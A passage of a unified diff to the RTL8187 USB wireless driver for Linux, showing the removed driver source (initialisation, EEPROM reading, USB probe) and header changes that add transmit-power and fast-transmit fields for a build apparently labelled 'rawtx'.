priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 